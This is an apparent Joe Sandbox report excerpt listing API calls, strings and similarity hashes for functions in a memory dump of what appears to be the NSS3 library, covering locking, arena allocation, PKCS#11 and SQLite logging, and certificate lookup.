EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C77E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C77E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C77E52F

Strings

#?xl, xrefs: 6C77E409

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID: #?xl
API String ID: 3106257965-521577452
Opcode ID: fd03f21803a6aa9f8cc4deda3e0457fe63456634297ba8d72d804924d1026b9e
Instruction ID: bbbc7da1807e89681640c4c4c0a1b31e8cd4fdc44f9d18c90bbac6706c63e497
Opcode Fuzzy Hash: fd03f21803a6aa9f8cc4deda3e0457fe63456634297ba8d72d804924d1026b9e
Instruction Fuzzy Hash: F2410BB4A056198FCF20EF78D68859ABBF0FF05308F054969D9949B711E730E894CBE2

Function 6C778CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C78124D,00000001), ref: 6C778D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C78124D,00000001), ref: 6C778D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C78124D,00000001), ref: 6C778D73
PR_Unlock.NSS3(?,?,?,?,?,6C78124D,00000001), ref: 6C778D8C

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C78124D,00000001), ref: 6C778DBA

Strings

KRAM, xrefs: 6C778D3E
KRAM, xrefs: 6C778CF9

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: ad1ee922c20355e1715555b8f6c64e5fa5081c05087bd456a12b64d94e63d11b
Instruction ID: 3f0aa71230d537e0292e2390d823bf3293e33b23ab03f71d9572f5a3de809741
Opcode Fuzzy Hash: ad1ee922c20355e1715555b8f6c64e5fa5081c05087bd456a12b64d94e63d11b
Instruction Fuzzy Hash: 002171B16046058FCF10EF38C68955ABBF0FF59318F15897AD8989B701E730D841CBA1

Function 6C79ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C79ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C79AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C79AD23

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C79AD39

Strings

C_MessageDecryptFinal, xrefs: 6C79ACE1
hSession = 0x%x, xrefs: 6C79ACFE, 6C79AD0E
(CK_INVALID_HANDLE), xrefs: 6C79AD1C

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 9ce40831f40d995c87b6157b6baee549a15bfe5f787275ca2b86f75c85864ace
Instruction ID: 764fef389eda55db495e5562b032dc1cc674211c93ffe5008569b9ad2b6798c3
Opcode Fuzzy Hash: 9ce40831f40d995c87b6157b6baee549a15bfe5f787275ca2b86f75c85864ace
Instruction Fuzzy Hash: 41212C71A021449FDB309B68EF8DB6E33B5BB4231DF050436E40997BA6DB34A948C7D2

Function 6C79A550 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptFinal), ref: 6C79A576
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C79A5A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C79A5B3

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C79A5C9

Strings

hSession = 0x%x, xrefs: 6C79A58E, 6C79A59E
C_MessageEncryptFinal, xrefs: 6C79A571
(CK_INVALID_HANDLE), xrefs: 6C79A5AC

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptFinal
API String ID: 332880674-1768899908
Opcode ID: 1039da57a8f714428be9508dad4d481eb15d092bb334352f7346fbd61b292697
Instruction ID: 3c5e80a76a9a3356ed432df64435d39d19b72cbfcab4dd4d6e7e24f480fa44b3
Opcode Fuzzy Hash: 1039da57a8f714428be9508dad4d481eb15d092bb334352f7346fbd61b292697
Instruction Fuzzy Hash: 6221DA71B021049FD7309B58EF8CB6A3775BB8235DF040436E40997B51DB34AA48CBD2

Function 6C870ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C870EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C870EFA

Part of subcall function 6C75AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C75AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C870F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C870ED9, 6C870EE5, 6C870F06, 6C870F0B
Aborting, xrefs: 6C870EB3

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 0c88e375bdbca7e4853880fdc5b5567906cdb6f4860b824ec9f5468e91119eea
Instruction ID: 729d6a466b8ee5ee3924921898d547ca1042f1d69f3accf21692effe6fc514d2
Opcode Fuzzy Hash: 0c88e375bdbca7e4853880fdc5b5567906cdb6f4860b824ec9f5468e91119eea
Instruction Fuzzy Hash: D501ADB5A00104BBDF21AFA8DD4989B3B3CEF46268B444424FD0987642E732E924C7F2

Function 6C8707B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filestringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C751FA7,WinDebug,00000000,00000001,?,6C751FA7,00000000), ref: 6C8707BE
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(6C751FA7,6C89843A,6C751FA7,00000000), ref: 6C8707E0
setvbuf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000004,00000000), ref: 6C8707F6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,6C751FA7,00000000), ref: 6C870812
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C870827
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C87083F

Strings

WinDebug, xrefs: 6C8707B8

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: __acrt_iob_func$fclosefopensetvbufstrcmp
String ID: WinDebug
API String ID: 1416283249-2102910228
Opcode ID: 9f5c02ca1d54e3475dae68ed52c6e66022f1ca67bd410ff45cc239e6bb8dba98
Instruction ID: d7dcbea8797064f9b2309da0535a84b2bc8c203e879ae0a0cfde67795c529b9e
Opcode Fuzzy Hash: 9f5c02ca1d54e3475dae68ed52c6e66022f1ca67bd410ff45cc239e6bb8dba98
Instruction Fuzzy Hash: 2011A361B010609BEF305B288E45A6E3668DB4225EF580934F81ADA781FB32D910C2F6

Function 6C834D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C834DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C834DE0

Strings

invalid, xrefs: 6C834DB8
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C834DCB
%s at line %d of [%.10s], xrefs: 6C834DDA
API call with %s database connection pointer, xrefs: 6C834DBD
misuse, xrefs: 6C834DD5

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 3da097e8f7d46cc0da42ef4be5aab2e1ced6f4fc774287097b52c0155280eab2
Instruction ID: 752719b4a8c53251e1ca6333a7fac842359f6ee5110740ba660b0224943ccbbe
Opcode Fuzzy Hash: 3da097e8f7d46cc0da42ef4be5aab2e1ced6f4fc774287097b52c0155280eab2
Instruction Fuzzy Hash: 50F02421E045786FD7324198DF14F863B554FC131AF0A3DA0ED0C7BF52D207985082C0

Function 6C834DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C834E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C834E4D

Strings

invalid, xrefs: 6C834E25
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C834E38
%s at line %d of [%.10s], xrefs: 6C834E47
API call with %s database connection pointer, xrefs: 6C834E2A
misuse, xrefs: 6C834E42

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 123cf39deab877dfb0e805ce5098cf6ebe60e98568e81059a91ba43eb1ea72bb
Instruction ID: 0113d2ea0fc19c7f7a9d17af748953851e00cbae01df034b8d3cd9383b3583a9
Opcode Fuzzy Hash: 123cf39deab877dfb0e805ce5098cf6ebe60e98568e81059a91ba43eb1ea72bb
Instruction Fuzzy Hash: 7BF0E211F489386BE63011A9DF14F863B864B91339F09BCB1EA0E77FD2D20B996152D1

Function 6C7A0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C7A1444,?,00000001,?,00000000,00000000,?,?,6C7A1444,?,?,00000000,?,?), ref: 6C7A0CB3

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?,?,6C7A1444,?), ref: 6C7A0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?,?,6C7A1444,?), ref: 6C7A0DEC

Part of subcall function 6C7C0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C762AF5,?,?,?,?,?,6C760A1B,00000000), ref: 6C7C0F1A
Part of subcall function 6C7C0F10: malloc.MOZGLUE(00000001), ref: 6C7C0F30
Part of subcall function 6C7C0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7C0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?), ref: 6C7A0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C7A1444,?,00000001,?,00000000), ref: 6C7A0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?), ref: 6C7A0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?,?,6C7A1444,?,?,00000000), ref: 6C7A0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C7A1444,?,00000001,?,00000000,00000000,?), ref: 6C7A0E79

Part of subcall function 6C7B1560: TlsGetValue.KERNEL32(00000000,?,6C780844,?), ref: 6C7B157A
Part of subcall function 6C7B1560: EnterCriticalSection.KERNEL32(?,?,?,6C780844,?), ref: 6C7B158F
Part of subcall function 6C7B1560: PR_Unlock.NSS3(?,?,?,?,6C780844,?), ref: 6C7B15B2

Part of subcall function 6C77B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C781397,00000000,?,6C77CF93,5B5F5EC0,00000000,?,6C781397,?), ref: 6C77B1CB
Part of subcall function 6C77B1A0: free.MOZGLUE(5B5F5EC0,?,6C77CF93,5B5F5EC0,00000000,?,6C781397,?), ref: 6C77B1D2

Part of subcall function 6C7789E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C7788AE,-00000008), ref: 6C778A04
Part of subcall function 6C7789E0: EnterCriticalSection.KERNEL32(?), ref: 6C778A15
Part of subcall function 6C7789E0: memset.VCRUNTIME140(6C7788AE,00000000,00000132), ref: 6C778A27
Part of subcall function 6C7789E0: PR_Unlock.NSS3(?), ref: 6C778A35

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 4901cf62094b43e33c1fb38c1b8bb4dc434d4f1fff322221fd0c86fb07334130
Instruction ID: f714a4387e8376526740426f12890364e39d49d2b2e3c6c319d74266b0934c00
Opcode Fuzzy Hash: 4901cf62094b43e33c1fb38c1b8bb4dc434d4f1fff322221fd0c86fb07334130
Instruction Fuzzy Hash: 5F51E9B6E012005FEB109FA4DE89AAB37A8DF0521CF140974ED1697B02F731ED1987E2

Function 6C76E6B0 Relevance: 12.2, APIs: 8, Instructions: 191memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C7704DC,?,?), ref: 6C76E6C9

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C7704DC,?,?), ref: 6C76E6D9

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C7704DC,?,?), ref: 6C76E6F4
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7704DC,?), ref: 6C76E703

Part of subcall function 6C7BBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C76E708,00000000,00000000,00000004,00000000), ref: 6C7BBE6A
Part of subcall function 6C7BBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7704DC,?), ref: 6C7BBE7E
Part of subcall function 6C7BBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C7BBEC2

CERT_FindCertIssuer.NSS3(?,?,6C7704DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C76E71E

Part of subcall function 6C76C870: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6C762D1A), ref: 6C76C919

Part of subcall function 6C76E5E0: PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C76E755,00000000,00000004,?,?), ref: 6C76E5F5
Part of subcall function 6C76E5E0: PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C76E62C

CERT_DestroyCertificate.NSS3(?), ref: 6C76E8AF

Part of subcall function 6C76E5E0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C76E63E
Part of subcall function 6C76E5E0: PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C76E65C
Part of subcall function 6C76E5E0: SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C76E68E

SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?), ref: 6C76E89E

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

CERT_DestroyCertificate.NSS3(?), ref: 6C76E885

Part of subcall function 6C7695B0: TlsGetValue.KERNEL32(00000000,?,6C7800D2,00000000), ref: 6C7695D2
Part of subcall function 6C7695B0: EnterCriticalSection.KERNEL32(?,?,?,6C7800D2,00000000), ref: 6C7695E7
Part of subcall function 6C7695B0: PR_Unlock.NSS3(?,?,?,?,6C7800D2,00000000), ref: 6C769605

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Value$CopyCriticalEnterSectionUnlock$Alloc_CertificateDestroyErrorFindMark_$AlgorithmAllocAllocateCertHashIssuerK11_Tag_Zfreememcpymemset
String ID:
API String ID: 27740541-0
Opcode ID: 60988c7b6ea6e61d9ffc347922850fec4a52e97d315c419986a079411cb2e727
Instruction ID: aeb4fb818a43ebc904af2ec263afc9b668020c29a6f51b1c85f0b613a81dd090
Opcode Fuzzy Hash: 60988c7b6ea6e61d9ffc347922850fec4a52e97d315c419986a079411cb2e727
Instruction Fuzzy Hash: 57618DB5D0060A9BEB08CF55CD44AFEB7B8EF08304F004269ED156AB42FB359A45CBE1

Function 6C756E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C756ED8
sqlite3_value_text.NSS3(?,?), ref: 6C756EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C756FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C756FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C756FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C757010
sqlite3_value_blob.NSS3(?,?), ref: 6C75701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C757052

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: f24fae0b756f1be570fead33966d4fe5619cd2c4d7163953a312a47bed49812e
Instruction ID: d6c4cf4e8910183d1e5604d126b98b16d00bdee77a30bbe3c11face562dedf75
Opcode Fuzzy Hash: f24fae0b756f1be570fead33966d4fe5619cd2c4d7163953a312a47bed49812e
Instruction Fuzzy Hash: 9661B6B1E151158BDB00CF68CA447EEB7B2AF45308F644174D415AB791EF369D25CB90

